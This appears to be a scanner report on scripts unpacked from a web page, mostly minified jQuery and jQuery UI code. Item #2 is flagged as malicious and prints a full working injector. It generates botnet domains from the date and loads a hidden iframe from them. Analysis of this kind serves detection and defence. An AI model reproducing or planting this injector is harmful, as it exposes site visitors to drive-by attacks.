}), i.html(g ? f("<div>").append(c.replace(bO, "")).find(g) : c)), d && i.each(d, [c, b, a])
}
});
return this
},
serialize: function() {
return f.param(this.serializeArray())
},
serializeArray: function() {
return this.map(function() {
return this.elements ? f.makeArray(this.elements) : this
}).filter(function() {
return this.name && !this.disabled && (this.checked || bP.test(this.nodeName) || bJ.test(this.type))
}).map(function(a, b) {
var c = f(this).val();
return c == null ? null : f.isArray(c) ? f.map(c, function(a, c) {
return {
name: b.name,
value: a.replace(bG, "\r\n")
}
}) : {
name: b.name,
value: c.replace(bG, "\r\n")
}
}).get()
}
}), f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "), function(a, b) {
f.fn[b] = function(a) {
return this.bind(b, a)
}
}), f.each(["get", "post"], function(a, c) {
f[c] = function(a, d, e, g) {
f.isFunction(d) && (g = g || e, e = d, d = b);
return f.ajax({
type: c,
url: a,
data: d,
success: e,
dataType: g
})
}
}), f.extend({
getScript: function(a, c) {
return f.get(a, b, c, "script")
},
getJSON: function(a, b, c) {
return f.get(a, b, c, "json")
},
ajaxSetup: function(a, b) {
b ? f.extend(!0, a, f.ajaxSettings, b) : (b = a, a = f.extend(!0, f.ajaxSettings, b));
for (var c in {
context: 1,
url: 1
}) c in b ? a[c] = b[c] : c in f.ajaxSettings && (a[c] = f.ajaxSettings[c]);
return a
},
ajaxSettings: {
url: bW,
isLocal: bK.test(bX[1]),
global: !0,
type: "GET",
contentType: "application/x-www-form-urlencoded",
processData: !0,
async: !0,
accepts: {
xml: "application/xml, text/xml",
html: "text/html",
text: "text/plain",
json: "application/json, text/javascript",
"*": "*/*"
},
contents: {
xml: /xml/,
html: /html/,
json: /json/
},
responseFields: {
xml: "responseXML",
text: "responseText"
},
converters: {
"* text": a.String,
"text html": !0,
"text json": f.parseJSON,
"text xml": f.parseXML
}
},
ajaxPrefilter: bZ(bU),
ajaxTransport: bZ(bV),
ajax: function(a, c) {
function w(a, c, l, m) {
if (s !== 2) {
s = 2, q && clearTimeout(q), p = b, n = m || "", v.readyState = a ? 4 : 0;
var o, r, u, w = l ? ca(d, v, l) : b,
x, y;
if (a >= 200 && a < 300 || a === 304) {
if (d.ifModified) {
if (x = v.getResponseHeader("Last-Modified")) f.lastModified[k] = x;
if (y = v.getResponseHeader("Etag")) f.etag[k] = y
}
if (a === 304) c = "notmodified", o = !0;
else try {
r = cb(d, w), c = "success", o = !0
} catch (z) {
c = "parsererror", u = z
}
} else {
u = c;
if (!c || a) c = "error", a < 0 && (a = 0)
}
v.status = a, v.statusText = c, o ? h.resolveWith(e, [r, c, v]) : h.rejectWith(e, [v, c, u]), v.statusCode(j), j = b, t && g.trigger("ajax" + (o ? "Success" : "Error"), [v, d, o ? r : u]), i.resolveWith(e, [v, c]), t && (g.trigger("ajaxComplete", [v, d]), --f.active || f.event.trigger("ajaxStop"))
}
}
typeof a == "object" && (c = a, a = b), c = c || {};
var d = f.ajaxSetup({}, c),
e = d.context || d,
g = e !== d && (e.nodeType || e instanceof f) ? f(e) : f.event,
h = f.Deferred(),
i = f._Deferred(),
j = d.statusCode || {},
k, l = {},
m = {},
n, o, p, q, r, s = 0,
t, u, v = {
readyState: 0,
setRequestHeader: function(a, b) {
if (!s) {
var c = a.toLowerCase();
a = m[c] = m[c] || a, l[a] = b
}
return this
},
getAllResponseHeaders: function() {
return s === 2 ? n : null
},
getResponseHeader: function(a) {
var c;
if (s === 2) {
if (!o) {
o = {};
while (c = bI.exec(n)) o[c[1].toLowerCase()] = c[2]
}
c = o[a.toLowerCase()]
}
return c === b ? null : c
},
overrideMimeType: function(a) {
s || (d.mimeType = a);
return this
},
abort: function(a) {
a = a || "abort", p && p.abort(a), w(0, a);
return this
}
};
h.promise(v), v.success = v.done, v.error = v.fail, v.complete = i.done, v.statusCode = function(a) {
if (a) {
var b;
if (s < 2) for (b in a) j[b] = [j[b], a[b]];
else b = a[v.status], v.then(b, b)
}
return this
}, d.url = ((a || d.url) + "").replace(bH, "").replace(bM, bX[1] + "//"), d.dataTypes = f.trim(d.dataType || "*").toLowerCase().split(bQ), d.crossDomain == null && (r = bS.exec(d.url.toLowerCase()), d.crossDomain = !(!r || r[1] == bX[1] && r[2] == bX[2] && (r[3] || (r[1] === "http:" ? 80 : 443)) == (bX[3] || (bX[1] === "http:" ? 80 : 443)))), d.data && d.processData && typeof d.data != "string" && (d.data = f.param(d.data, d.traditional)), b$(bU, d, c, v);
if (s === 2) return !1;
t = d.global, d.type = d.type.toUpperCase(), d.hasContent = !bL.test(d.type), t && f.active++ === 0 && f.event.trigger("ajaxStart");
if (!d.hasContent) {
d.data && (d.url += (bN.test(d.url) ? "&" : "?") + d.data), k = d.url;
if (d.cache === !1) {
var x = f.now(),
y = d.url.replace(bR, "$1_=" + x);
d.url = y + (y === d.url ? (bN.test(d.url) ? "&" : "?") + "_=" + x : "")
}
}(d.data && d.hasContent && d.contentType !== !1 || c.contentType) && v.setRequestHeader("Content-Type", d.contentType), d.ifModified && (k = k || d.url, f.lastModified[k] && v.setRequestHeader("If-Modified-Since", f.lastModified[k]), f.etag[k] && v.setRequestHeader("If-None-Match", f.etag[k])), v.setRequestHeader("Accept", d.dataTypes[0] && d.accepts[d.dataTypes[0]] ? d.accepts[d.dataTypes[0]] + (d.dataTypes[0] !== "*" ? ", */*; q=0.01" : "") : d.accepts["*"]);
for (u in d.headers) v.setRequestHeader(u, d.headers[u]);
if (d.beforeSend && (d.beforeSend.call(e, v, d) === !1 || s === 2)) {
v.abort();
return !1
}
for (u in {
success: 1,
error: 1,
complete: 1
}) v[u](d[u]);
p = b$(bV, d, c, v);
if (!p) w(-1, "No Transport");
else {
v.readyState = 1, t && g.trigger("ajaxSend", [v, d]), d.async && d.timeout > 0 && (q = setTimeout(function() {
v.abort("timeout")
}, d.timeout));
try {
s = 1, p.send(l, w)
} catch (z) {
status < 2 ? w(-1, z) : f.error(z)
}
}
return v
},
param: function(a, c) {
var d = [],
e = function(a, b) {
b = f.isFunction(b) ? b() : b, d[d.length] = encodeURIComponent(a) + "=" + encodeURIComponent(b)
};
c === b && (c = f.ajaxSettings.traditional);
if (f.isArray(a) || a.jquery && !f.isPlainObject(a)) f.each(a, function() {
e(this.name, this.value)
});
else for (var g in a) b_(g, a[g], c, e);
return d.join("&").replace(bE, "+")
}
}), f.extend({
active: 0,
lastModified: {},
etag: {}
});
var cc = f.now(),
cd = /(\=)\?(&|$)|\?\?/i;
f.ajaxSetup({
jsonp: "callback",
jsonpCallback: function() {
return f.expando + "_" + cc++
}
}), f.ajaxPrefilter("json jsonp", function(b, c, d) {
var e = b.contentType === "application/x-www-form-urlencoded" && typeof b.data == "string";
if (b.dataTypes[0] === "jsonp" || b.jsonp !== !1 && (cd.test(b.url) || e && cd.test(b.data))) {
var g, h = b.jsonpCallback = f.isFunction(b.jsonpCallback) ? b.jsonpCallback() : b.jsonpCallback,
i = a[h],
j = b.url,
k = b.data,
l = "$1" + h + "$2";
b.jsonp !== !1 && (j = j.replace(cd, l), b.url === j && (e && (k = k.replace(cd, l)), b.data === k && (j += (/\?/.test(j) ? "&" : "?") + b.jsonp + "=" + h))), b.url = j, b.data = k, a[h] = function(a) {
g = [a]
}, d.always(function() {
a[h] = i, g && f.isFunction(i) && a[h](g[0])
}), b.converters["script json"] = function() {
g || f.error(h + " was not called");
return g[0]
}, b.dataTypes[0] = "json";
return "script"
}
}), f.ajaxSetup({
accepts: {
script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
},
contents: {
script: /javascript|ecmascript/
},
converters: {
"text script": function(a) {
f.globalEval(a);
return a
}
}
}), f.ajaxPrefilter("script", function(a) {
a.cache === b && (a.cache = !1), a.crossDomain && (a.type = "GET", a.global = !1)
}), f.ajaxTransport("script", function(a) {
if (a.crossDomain) {
var d, e = c.head || c.getElementsByTagName("head")[0] || c.documentElement;
return {
send: function(f, g) {
d = c.createElement("script"), d.async = "async", a.scriptCharset && (d.charset = a.scriptCharset), d.src = a.url, d.onload = d.onreadystatechange = function(a, c) {
if (c || !d.readyState || /loaded|complete/.test(d.readyState)) d.onload = d.onreadystatechange = null, e && d.parentNode && e.removeChild(d), d = b, c || g(200, "success")
}, e.insertBefore(d, e.firstChild)
},
abort: function() {
d && d.onload(0, 1)
}
}
}
});
var ce = a.ActiveXObject ?
function() {
for (var a in cg) cg[a](0, 1)
} : !1, cf = 0, cg;
f.ajaxSettings.xhr = a.ActiveXObject ?
function() {
return !this.isLocal && ch() || ci()
} : ch, function(a) {
f.extend(f.support, {
ajax: !! a,
cors: !! a && "withCredentials" in a
})
}(f.ajaxSettings.xhr()), f.support.ajax && f.ajaxTransport(function(c) {
if (!c.crossDomain || f.support.cors) {
var d;
return {
send: function(e, g) {
var h = c.xhr(),
i, j;
c.username ? h.open(c.type, c.url, c.async, c.username, c.password) : h.open(c.type, c.url, c.async);
if (c.xhrFields) for (j in c.xhrFields) h[j] = c.xhrFields[j];
c.mimeType && h.overrideMimeType && h.overrideMimeType(c.mimeType), !c.crossDomain && !e["X-Requested-With"] && (e["X-Requested-With"] = "XMLHttpRequest");
try {
for (j in e) h.setRequestHeader(j, e[j])
} catch (k) {}
h.send(c.hasContent && c.data || null), d = function(a, e) {
var j, k, l, m, n;
try {
if (d && (e || h.readyState === 4)) {
d = b, i && (h.onreadystatechange = f.noop, ce && delete cg[i]);
if (e) h.readyState !== 4 && h.abort();
else {
j = h.status, l = h.getAllResponseHeaders(), m = {}, n = h.responseXML, n && n.documentElement && (m.xml = n), m.text = h.responseText;
try {
k = h.statusText
} catch (o) {
k = ""
}!j && c.isLocal && !c.crossDomain ? j = m.text ? 200 : 404 : j === 1223 && (j = 204)
}
}
} catch (p) {
e || g(-1, p)
}
m && g(j, k, m, l)
}, !c.async || h.readyState === 4 ? d() : (i = ++cf, ce && (cg || (cg = {}, f(a).unload(ce)), cg[i] = d), h.onreadystatechange = d)
},
abort: function() {
d && d(0, 1)
}
}
}
});
var cj = {},
ck, cl, cm = /^(?:toggle|show|hide)$/,
cn = /^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,
co, cp = [
["height", "marginTop", "marginBottom", "paddingTop", "paddingBottom"],
["width", "marginLeft", "marginRight", "paddingLeft", "paddingRight"],
["opacity"]
],
cq, cr = a.webkitRequestAnimationFrame || a.mozRequestAnimationFrame || a.oRequestAnimationFrame;
f.fn.extend({
show: function(a, b, c) {
var d, e;
if (a || a === 0) return this.animate(cu("show", 3), a, b, c);
for (var g = 0, h = this.length; g < h; g++) d = this[g], d.style && (e = d.style.display, !f._data(d, "olddisplay") && e === "none" && (e = d.style.display = ""), e === "" && f.css(d, "display") === "none" && f._data(d, "olddisplay", cv(d.nodeName)));
for (g = 0; g < h; g++) {
d = this[g];
if (d.style) {
e = d.style.display;
if (e === "" || e === "none") d.style.display = f._data(d, "olddisplay") || ""
}
}
return this
},
hide: function(a, b, c) {
if (a || a === 0) return this.animate(cu("hide", 3), a, b, c);
for (var d = 0, e = this.length; d < e; d++) if (this[d].style) {
var g = f.css(this[d], "display");
g !== "none" && !f._data(this[d], "olddisplay") && f._data(this[d], "olddisplay", g)
}
for (d = 0; d < e; d++) this[d].style && (this[d].style.display = "none");
return this
},
_toggle: f.fn.toggle,
toggle: function(a, b, c) {
var d = typeof a == "boolean";
f.isFunction(a) && f.isFunction(b) ? this._toggle.apply(this, arguments) : a == null || d ? this.each(function() {
var b = d ? a : f(this).is(":hidden");
f(this)[b ? "show" : "hide"]()
}) : this.animate(cu("toggle", 3), a, b, c);
return this
},
fadeTo: function(a, b, c, d) {
return this.filter(":hidden").css("opacity", 0).show().end().animate({
opacity: b
}, a, c, d)
},
animate: function(a, b, c, d) {
var e = f.speed(b, c, d);
if (f.isEmptyObject(a)) return this.each(e.complete, [!1]);
a = f.extend({}, a);
return this[e.queue === !1 ? "each" : "queue"](function() {
e.queue === !1 && f._mark(this);
var b = f.extend({}, e),
c = this.nodeType === 1,
d = c && f(this).is(":hidden"),
g, h, i, j, k, l, m, n, o;
b.animatedProperties = {};
for (i in a) {
g = f.camelCase(i), i !== g && (a[g] = a[i], delete a[i]), h = a[g], f.isArray(h) ? (b.animatedProperties[g] = h[1], h = a[g] = h[0]) : b.animatedProperties[g] = b.specialEasing && b.specialEasing[g] || b.easing || "swing";
if (h === "hide" && d || h === "show" && !d) return b.complete.call(this);
c && (g === "height" || g === "width") && (b.overflow = [this.style.overflow, this.style.overflowX, this.style.overflowY], f.css(this, "display") === "inline" && f.css(this, "float") === "none" && (f.support.inlineBlockNeedsLayout ? (j = cv(this.nodeName), j === "inline" ? this.style.display = "inline-block" : (this.style.display = "inline", this.style.zoom = 1)) : this.style.display = "inline-block"))
}
b.overflow != null && (this.style.overflow = "hidden");
for (i in a) k = new f.fx(this, b, i), h = a[i], cm.test(h) ? k[h === "toggle" ? d ? "show" : "hide" : h]() : (l = cn.exec(h), m = k.cur(), l ? (n = parseFloat(l[2]), o = l[3] || (f.cssNumber[i] ? "" : "px"), o !== "px" && (f.style(this, i, (n || 1) + o), m = (n || 1) / k.cur() * m, f.style(this, i, m + o)), l[1] && (n = (l[1] === "-=" ? -1 : 1) * n + m), k.custom(m, n, o)) : k.custom(m, h, ""));
return !0
})
},
stop: function(a, b) {
a && this.queue([]), this.each(function() {
var a = f.timers,
c = a.length;
b || f._unmark(!0, this);
while (c--) a[c].elem === this && (b && a[c](!0), a.splice(c, 1))
}), b || this.dequeue();
return this
}
}), f.each({
slideDown: cu("show", 1),
slideUp: cu("hide", 1),
slideToggle: cu("toggle", 1),
fadeIn: {
opacity: "show"
},
fadeOut: {
opacity: "hide"
},
fadeToggle: {
opacity: "toggle"
}
}, function(a, b) {
f.fn[a] = function(a, c, d) {
return this.animate(b, a, c, d)
}
}), f.extend({
speed: function(a, b, c) {
var d = a && typeof a == "object" ? f.extend({}, a) : {
complete: c || !c && b || f.isFunction(a) && a,
duration: a,
easing: c && b || b && !f.isFunction(b) && b
};
d.duration = f.fx.off ? 0 : typeof d.duration == "number" ? d.duration : d.duration in f.fx.speeds ? f.fx.speeds[d.duration] : f.fx.speeds._default, d.old = d.complete, d.complete = function(a) {
d.queue !== !1 ? f.dequeue(this) : a !== !1 && f._unmark(this), f.isFunction(d.old) && d.old.call(this)
};
return d
},
easing: {
linear: function(a, b, c, d) {
return c + d * a
},
swing: function(a, b, c, d) {
return (-Math.cos(a * Math.PI) / 2 + .5) * d + c
}
},
timers: [],
fx: function(a, b, c) {
this.options = b, this.elem = a, this.prop = c, b.orig = b.orig || {}
}
}), f.fx.prototype = {
update: function() {
this.options.step && this.options.step.call(this.elem, this.now, this), (f.fx.step[this.prop] || f.fx.step._default)(this)
},
cur: function() {
if (this.elem[this.prop] != null && (!this.elem.style || this.elem.style[this.prop] == null)) return this.elem[this.prop];
var a, b = f.css(this.elem, this.prop);
return isNaN(a = parseFloat(b)) ? !b || b === "auto" ? 0 : b : a
},
custom: function(a, b, c) {
function h(a) {
return d.step(a)
}
var d = this,
e = f.fx,
g;
this.startTime = cq || cs(), this.start = a, this.end = b, this.unit = c || this.unit || (f.cssNumber[this.prop] ? "" : "px"), this.now = this.start, this.pos = this.state = 0, h.elem = this.elem, h() && f.timers.push(h) && !co && (cr ? (co = 1, g = function() {
co && (cr(g), e.tick())
}, cr(g)) : co = setInterval(e.tick, e.interval))
},
show: function() {
this.options.orig[this.prop] = f.style(this.elem, this.prop), this.options.show = !0, this.custom(this.prop === "width" || this.prop === "height" ? 1 : 0, this.cur()), f(this.elem).show()
},
hide: function() {
this.options.orig[this.prop] = f.style(this.elem, this.prop), this.options.hide = !0, this.custom(this.cur(), 0)
},
step: function(a) {
var b = cq || cs(),
c = !0,
d = this.elem,
e = this.options,
g, h;
if (a || b >= e.duration + this.startTime) {
this.now = this.end, this.pos = this.state = 1, this.update(), e.animatedProperties[this.prop] = !0;
for (g in e.animatedProperties) e.animatedProperties[g] !== !0 && (c = !1);
if (c) {
e.overflow != null && !f.support.shrinkWrapBlocks && f.each(["", "X", "Y"], function(a, b) {
d.style["overflow" + b] = e.overflow[a]
}), e.hide && f(d).hide();
if (e.hide || e.show) for (var i in e.animatedProperties) f.style(d, i, e.orig[i]);
e.complete.call(d)
}
return !1
}
e.duration == Infinity ? this.now = b : (h = b - this.startTime, this.state = h / e.duration, this.pos = f.easing[e.animatedProperties[this.prop]](this.state, h, 0, 1, e.duration), this.now = this.start + (this.end - this.start) * this.pos), this.update();
return !0
}
}, f.extend(f.fx, {
tick: function() {
for (var a = f.timers, b = 0; b < a.length; ++b) a[b]() || a.splice(b--, 1);
a.length || f.fx.stop()
},
interval: 13,
stop: function() {
clearInterval(co), co = null
},
speeds: {
slow: 600,
fast: 200,
_default: 400
},
step: {
opacity: function(a) {
f.style(a.elem, "opacity", a.now)
},
_default: function(a) {
a.elem.style && a.elem.style[a.prop] != null ? a.elem.style[a.prop] = (a.prop === "width" || a.prop === "height" ? Math.max(0, a.now) : a.now) + a.unit : a.elem[a.prop] = a.now
}
}
}), f.expr && f.expr.filters && (f.expr.filters.animated = function(a) {
return f.grep(f.timers, function(b) {
return a === b.elem
}).length
});
var cw = /^t(?:able|d|h)$/i,
cx = /^(?:body|html)$/i;
"getBoundingClientRect" in c.documentElement ? f.fn.offset = function(a) {
var b = this[0],
c;
if (a) return this.each(function(b) {
f.offset.setOffset(this, a, b)
});
if (!b || !b.ownerDocument) return null;
if (b === b.ownerDocument.body) return f.offset.bodyOffset(b);
try {
c = b.getBoundingClientRect()
} catch (d) {}
var e = b.ownerDocument,
g = e.documentElement;
if (!c || !f.contains(g, b)) return c ? {
top: c.top,
left: c.left
} : {
top: 0,
left: 0
};
var h = e.body,
i = cy(e),
j = g.clientTop || h.clientTop || 0,
k = g.clientLeft || h.clientLeft || 0,
l = i.pageYOffset || f.support.boxModel && g.scrollTop || h.scrollTop,
m = i.pageXOffset || f.support.boxModel && g.scrollLeft || h.scrollLeft,
n = c.top + l - j,
o = c.left + m - k;
return {
top: n,
left: o
}
} : f.fn.offset = function(a) {
var b = this[0];
if (a) return this.each(function(b) {
f.offset.setOffset(this, a, b)
});
if (!b || !b.ownerDocument) return null;
if (b === b.ownerDocument.body) return f.offset.bodyOffset(b);
f.offset.initialize();
var c, d = b.offsetParent,
e = b,
g = b.ownerDocument,
h = g.documentElement,
i = g.body,
j = g.defaultView,
k = j ? j.getComputedStyle(b, null) : b.currentStyle,
l = b.offsetTop,
m = b.offsetLeft;
while ((b = b.parentNode) && b !== i && b !== h) {
if (f.offset.supportsFixedPosition && k.position === "fixed") break;
c = j ? j.getComputedStyle(b, null) : b.currentStyle, l -= b.scrollTop, m -= b.scrollLeft, b === d && (l += b.offsetTop, m += b.offsetLeft, f.offset.doesNotAddBorder && (!f.offset.doesAddBorderForTableAndCells || !cw.test(b.nodeName)) && (l += parseFloat(c.borderTopWidth) || 0, m += parseFloat(c.borderLeftWidth) || 0), e = d, d = b.offsetParent), f.offset.subtractsBorderForOverflowNotVisible && c.overflow !== "visible" && (l += parseFloat(c.borderTopWidth) || 0, m += parseFloat(c.borderLeftWidth) || 0), k = c
}
if (k.position === "relative" || k.position === "static") l += i.offsetTop, m += i.offsetLeft;
f.offset.supportsFixedPosition && k.position === "fixed" && (l += Math.max(h.scrollTop, i.scrollTop), m += Math.max(h.scrollLeft, i.scrollLeft));
return {
top: l,
left: m
}
}, f.offset = {
initialize: function() {
var a = c.body,
b = c.createElement("div"),
d, e, g, h, i = parseFloat(f.css(a, "marginTop")) || 0,
j = "<div style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;'><div></div></div><table style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;' cellpadding='0' cellspacing='0'><tr><td></td></tr></table>";
f.extend(b.style, {
position: "absolute",
top: 0,
left: 0,
margin: 0,
border: 0,
width: "1px",
height: "1px",
visibility: "hidden"
}), b.innerHTML = j, a.insertBefore(b, a.firstChild), d = b.firstChild, e = d.firstChild, h = d.nextSibling.firstChild.firstChild, this.doesNotAddBorder = e.offsetTop !== 5, this.doesAddBorderForTableAndCells = h.offsetTop === 5, e.style.position = "fixed", e.style.top = "20px", this.supportsFixedPosition = e.offsetTop === 20 || e.offsetTop === 15, e.style.position = e.style.top = "", d.style.overflow = "hidden", d.style.position = "relative", this.subtractsBorderForOverflowNotVisible = e.offsetTop === -5, this.doesNotIncludeMarginInBodyOffset = a.offsetTop !== i, a.removeChild(b), f.offset.initialize = f.noop
},
bodyOffset: function(a) {
var b = a.offsetTop,
c = a.offsetLeft;
f.offset.initialize(), f.offset.doesNotIncludeMarginInBodyOffset && (b += parseFloat(f.css(a, "marginTop")) || 0, c += parseFloat(f.css(a, "marginLeft")) || 0);
return {
top: b,
left: c
}
},
setOffset: function(a, b, c) {
var d = f.css(a, "position");
d === "static" && (a.style.position = "relative");
var e = f(a),
g = e.offset(),
h = f.css(a, "top"),
i = f.css(a, "left"),
j = (d === "absolute" || d === "fixed") && f.inArray("auto", [h, i]) > -1,
k = {},
l = {},
m, n;
j ? (l = e.position(), m = l.top, n = l.left) : (m = parseFloat(h) || 0, n = parseFloat(i) || 0), f.isFunction(b) && (b = b.call(a, c, g)), b.top != null && (k.top = b.top - g.top + m), b.left != null && (k.left = b.left - g.left + n), "using" in b ? b.using.call(a, k) : e.css(k)
}
}, f.fn.extend({
position: function() {
if (!this[0]) return null;
var a = this[0],
b = this.offsetParent(),
c = this.offset(),
d = cx.test(b[0].nodeName) ? {
top: 0,
left: 0
} : b.offset();
c.top -= parseFloat(f.css(a, "marginTop")) || 0, c.left -= parseFloat(f.css(a, "marginLeft")) || 0, d.top += parseFloat(f.css(b[0], "borderTopWidth")) || 0, d.left += parseFloat(f.css(b[0], "borderLeftWidth")) || 0;
return {
top: c.top - d.top,
left: c.left - d.left
}
},
offsetParent: function() {
return this.map(function() {
var a = this.offsetParent || c.body;
while (a && !cx.test(a.nodeName) && f.css(a, "position") === "static") a = a.offsetParent;
return a
})
}
}), f.each(["Left", "Top"], function(a, c) {
var d = "scroll" + c;
f.fn[d] = function(c) {
var e, g;
if (c === b) {
e = this[0];
if (!e) return null;
g = cy(e);
return g ? "pageXOffset" in g ? g[a ? "pageYOffset" : "pageXOffset"] : f.support.boxModel && g.document.documentElement[d] || g.document.body[d] : e[d]
}
return this.each(function() {
g = cy(this), g ? g.scrollTo(a ? f(g).scrollLeft() : c, a ? c : f(g).scrollTop()) : this[d] = c
})
}
}), f.each(["Height", "Width"], function(a, c) {
var d = c.toLowerCase();
f.fn["inner" + c] = function() {
return this[0] ? parseFloat(f.css(this[0], d, "padding")) : null
}, f.fn["outer" + c] = function(a) {
return this[0] ? parseFloat(f.css(this[0], d, a ? "margin" : "border")) : null
}, f.fn[d] = function(a) {
var e = this[0];
if (!e) return a == null ? null : this;
if (f.isFunction(a)) return this.each(function(b) {
var c = f(this);
c[d](a.call(this, b, c[d]()))
});
if (f.isWindow(e)) {
var g = e.document.documentElement["client" + c];
return e.document.compatMode === "CSS1Compat" && g || e.document.body["client" + c] || g
}
if (e.nodeType === 9) return Math.max(e.documentElement["client" + c], e.body["scroll" + c], e.documentElement["scroll" + c], e.body["offset" + c], e.documentElement["offset" + c]);
if (a === b) {
var h = f.css(e, d),
i = parseFloat(h);
return f.isNaN(i) ? h : i
}
return this.css(d, typeof a == "string" ? a : a + "px")
}
}), a.jQuery = a.$ = f
})(window);
jQuery.noConflict(); |
#2 JavaScript::Eval (size: 2074, repeated: 2) - Script marked as malicious//Congratulations! you have successfully extracted the gootkit payload
//this means i must work hardly :(
function nextRandomNumber() {
var hi = this.seed / this.Q;
var lo = this.seed % this.Q;
var test = this.A * lo - this.R * hi;
if (test > 0) {
this.seed = test;
} else {
this.seed = test + this.M;
}
return (this.seed * this.oneOverM);
}
function RandomNumberGenerator(unix) {
var d = new Date(unix * 1000);
var s = Math.ceil(d.getHours() / 6);
this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
this.A = 48271;
this.M = 2147483647;
this.Q = this.M / this.A;
this.R = this.M % this.A;
this.oneOverM = 1.0 / this.M;
this.next = nextRandomNumber;
return this;
}
function createRandomNumber(r, Min, Max) {
return Math.round((Max - Min) * r.next() + Min);
}
function generatePseudoRandomString(unix, length, zone) {
var rand = new RandomNumberGenerator(unix);
var subdomainlen = Math.floor(Math.random() * 32);
var letters = "huozfexmrufmqhgnsvkehzrfrqoplpvbuaxoqeriqwkgfkdyenzossqlxfqayvpr".split('');
var str = '';
for (var i = 0; i < subdomainlen; i++) {
str += letters[Math.floor(Math.random() * (letters.length - 1))];
}
str += '.'
for (var i = 0; i < length; i++) {
str += letters[createRandomNumber(rand, 0, letters.length - 1)];
}
return str + '.' + zone;
}
setInterval(function() {
try {
if (typeof iframeWasCreated == "undefined") {
var unix = Math.round(+new Date() / 1000);
var domainName = generatePseudoRandomString(unix, 16, 'waw.pl');
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet_api2");
ifrm.style.width = "0px";
ifrm.style.height = "0px";
ifrm.style.visibility = "hidden";
document.body.appendChild(ifrm);
iframeWasCreated = true;
}
} catch (e) {
iframeWasCreated = undefined;
}
}, 100); |
#3 JavaScript::Eval (size: 183559, repeated: 1);
(function($) {
$.ui = {
plugin: {
add: function(module, option, set) {
var proto = $.ui[module].prototype;
for (var i in set) {
proto.plugins[i] = proto.plugins[i] || [];
proto.plugins[i].push([option, set[i]]);
}
},
call: function(instance, name, args) {
var set = instance.plugins[name];
if (!set) {
return;
}
for (var i = 0; i < set.length; i++) {
if (instance.options[set[i][0]]) {
set[i][1].apply(instance.element, args);
}
}
}
},
cssCache: {},
css: function(name) {
if ($.ui.cssCache[name]) {
return $.ui.cssCache[name];
}
var tmp = $('<div class="ui-gen">').addClass(name).css({
position: 'absolute',
top: '-5000px',
left: '-5000px',
display: 'block'
}).appendTo('body');
$.ui.cssCache[name] = !! ((!(/auto|default/).test(tmp.css('cursor')) || (/^[1-9]/).test(tmp.css('height')) || (/^[1-9]/).test(tmp.css('width')) || !(/none/).test(tmp.css('backgroundImage')) || !(/transparent|rgba\(0, 0, 0, 0\)/).test(tmp.css('backgroundColor'))));
try {
$('body').get(0).removeChild(tmp.get(0));
} catch (e) {}
return $.ui.cssCache[name];
},
disableSelection: function(el) {
$(el).attr('unselectable', 'on').css('MozUserSelect', 'none');
},
enableSelection: function(el) {
$(el).attr('unselectable', 'off').css('MozUserSelect', '');
},
hasScroll: function(e, a) {
var scroll = /top/.test(a || "top") ? 'scrollTop' : 'scrollLeft',
has = false;
if (e[scroll] > 0) return true;
e[scroll] = 1;
has = e[scroll] > 0 ? true : false;
e[scroll] = 0;
return has;
}
};
var _remove = $.fn.remove;
$.fn.remove = function() {
$("*", this).add(this).triggerHandler("remove");
return _remove.apply(this, arguments);
};
function getter(namespace, plugin, method) {
var methods = $[namespace][plugin].getter || [];
methods = (typeof methods == "string" ? methods.split(/,?\s+/) : methods);
return ($.inArray(method, methods) != -1);
}
$.widget = function(name, prototype) {
var namespace = name.split(".")[0];
name = name.split(".")[1];
$.fn[name] = function(options) {
var isMethodCall = (typeof options == 'string'),
args = Array.prototype.slice.call(arguments, 1);
if (isMethodCall && getter(namespace, name, options)) {
var instance = $.data(this[0], name);
return (instance ? instance[options].apply(instance, args) : undefined);
}
return this.each(function() {
var instance = $.data(this, name);
if (isMethodCall && instance && $.isFunction(instance[options])) {
instance[options].apply(instance, args);
} else if (!isMethodCall) {
$.data(this, name, new $[namespace][name](this, options));
}
});
};
$[namespace][name] = function(element, options) {
var self = this;
this.widgetName = name;
this.widgetBaseClass = namespace + '-' + name;
this.options = $.extend({}, $.widget.defaults, $[namespace][name].defaults, options);
this.element = $(element).bind('setData.' + name, function(e, key, value) {
return self.setData(key, value);
}).bind('getData.' + name, function(e, key) {
return self.getData(key);
}).bind('remove', function() {
return self.destroy();
});
this.init();
};
$[namespace][name].prototype = $.extend({}, $.widget.prototype, prototype);
};
$.widget.prototype = {
init: function() {},
destroy: function() {
this.element.removeData(this.widgetName);
},
getData: function(key) {
return this.options[key];
},
setData: function(key, value) {
this.options[key] = value;
if (key == 'disabled') {
this.element[value ? 'addClass' : 'removeClass'](this.widgetBaseClass + '-disabled');
}
},
enable: function() {
this.setData('disabled', false);
},
disable: function() {
this.setData('disabled', true);
}
};
$.widget.defaults = {
disabled: false
};
$.ui.mouse = {
mouseInit: function() {
var self = this;
this.element.bind('mousedown.' + this.widgetName, function(e) {
return self.mouseDown(e);
});
if ($.browser.msie) {
this._mouseUnselectable = this.element.attr('unselectable');
this.element.attr('unselectable', 'on');
}
this.started = false;
},
mouseDestroy: function() {
this.element.unbind('.' + this.widgetName);
($.browser.msie && this.element.attr('unselectable', this._mouseUnselectable));
},
mouseDown: function(e) {
(this._mouseStarted && this.mouseUp(e));
this._mouseDownEvent = e;
var self = this,
btnIsLeft = (e.which == 1),
elIsCancel = (typeof this.options.cancel == "string" ? $(e.target).parents().add(e.target).filter(this.options.cancel).length : false);
if (!btnIsLeft || elIsCancel || !this.mouseCapture(e)) {
return true;
}
this._mouseDelayMet = !this.options.delay;
if (!this._mouseDelayMet) {
this._mouseDelayTimer = setTimeout(function() {
self._mouseDelayMet = true;
}, this.options.delay);
}
if (this.mouseDistanceMet(e) && this.mouseDelayMet(e)) {
this._mouseStarted = (this.mouseStart(e) !== false);
if (!this._mouseStarted) {
e.preventDefault();
return true;
}
}
this._mouseMoveDelegate = function(e) {
return self.mouseMove(e);
};
this._mouseUpDelegate = function(e) {
return self.mouseUp(e);
};
